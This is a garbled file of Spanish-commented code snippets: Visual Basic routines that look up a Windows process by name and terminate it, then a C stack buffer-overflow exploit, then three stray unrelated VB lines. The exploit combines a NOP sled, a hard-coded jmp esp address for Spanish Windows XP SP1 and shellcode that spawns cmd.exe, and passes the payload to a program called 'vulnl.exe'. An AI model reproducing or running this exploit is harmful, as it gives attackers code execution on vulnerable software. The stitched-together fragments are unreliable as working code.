'para buscar el pid
Private Declare Function CreateToolhelp32Snapshot Lib "KERNEL32.DLL" (ByVal dwFlags As Long, ByVal th32ProcessID As Long) As Long
Private Declare Function Process32First Lib "KERNEL32.DLL" (ByVal hSnapshot As Long, ByRef lppe As PROCESSENTRY32) As Long
Private Declare Function Process32Next Lib "KERNEL32.DLL" (ByVal hSnapshot As Long, ByRef lppe As PROCESSENTRY32) As Long
Const TH32CS_SNAPPROCESS As Long = &H2
Const MAX_PATH As Integer = 260
Private Type PROCESSENTRY32
    dwSize As Long
    cntUsage As Long
    th32ProcessID As Long
    th32DefaultHeapID As Long
    th32ModuleID As Long
    cntThreads As Long
    th32ParentProcessID As Long
    pcPriClassBase As Long
    dwFlags As Long
    szExeFile As String * MAX_PATH
End Type
'para matar el proceso
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Const PROCESS_TERMINATE As Long = &HFFF
'para no declararla dentro del timer
Public C As Long
Public Pid As Long

'MATA UN PROCESO A PARTIR DE SU PID
Public Function MataProceso(Pid As Long) As Boolean
Dim Abre As Long
'abre el proceso
Abre = OpenProcess(PROCESS_TERMINATE, 0, Pid)
'lo mata
If TerminateProcess(Abre, 0) Then
    MataProceso = True
Else
    MataProceso = False
End If
'cierra el handle
CloseHandle (Abre)
End Function

'DEVUELVE EL PID DE UN PROCESO A PARTIR DE SU NOMBRE
Public Function BuscaPid(Nombre As String) As Long
Dim Uno As Long
Dim Info As PROCESSENTRY32

Info.dwSize = Len(Info)
Uno = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
Call Process32First(Uno, Info)

'mientras tenga valor correcto
Do While Process32Next(Uno, Info)
    'si coinciden damos el resultado
    If lstrcmp(Nombre, Info.szExeFile) = 0 Then
        BuscaPid = Info.th32ProcessID
        Exit Do
    End If
Loop

CloseHandle (Uno)
End Function

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>

int main()
{
	//buffer
	char EvilBuffer[1024]="\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
	//direccion de jmp esp de ntdll.dll WinXP SP1 Español
	char Offset[]="\xCC\x59\xFA\x77";
	/*Shellcode con la llamada a system("cmd.exe");
	Offset de la funcion system en msvcrt.dll: 0x77bf8044
	*/
	char ShellCode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6"
		"\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45"
		"\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE"
		"\x65\x8D\x45\xF8\x50\xBB\x44\x80\xBF\x77\xFF\xD3";
	/*
	HMODULE Dll=LoadLibrary("msvcrt.dll");
    __asm{
        push ebp
        mov ebp,esp
        xor edi,edi
        push edi
        sub esp,04h
        mov byte ptr [ebp-08h],63h
        mov byte ptr [ebp-07h],6Dh
        mov byte ptr [ebp-06h],64h
        mov byte ptr [ebp-05h],2Eh
        mov byte ptr [ebp-04h],65h
        mov byte ptr [ebp-03h],78h
        mov byte ptr [ebp-02h],65h
        lea eax,[ebp-08h]
        push eax
        mov ebx,0x77bf8044//Offset de la funcion system en msvcrt.dll
        call ebx
        }
    FreeLibrary(Dll);
	*/

	//creamos el parametro: Buffer + Offset + ShellCode
	strcat(EvilBuffer,Offset);
	strcat(EvilBuffer,ShellCode);
	//explotamos }:-D
	ShellExecute(NULL,"OPEN","vulnl.exe",EvilBuffer,NULL,true);	
	return 0;
}

List1.List(c)

List1.List(List1.ListIndex)

txtServidorSMTP.text = mid(correo,instr(correo,"@"),len(correo))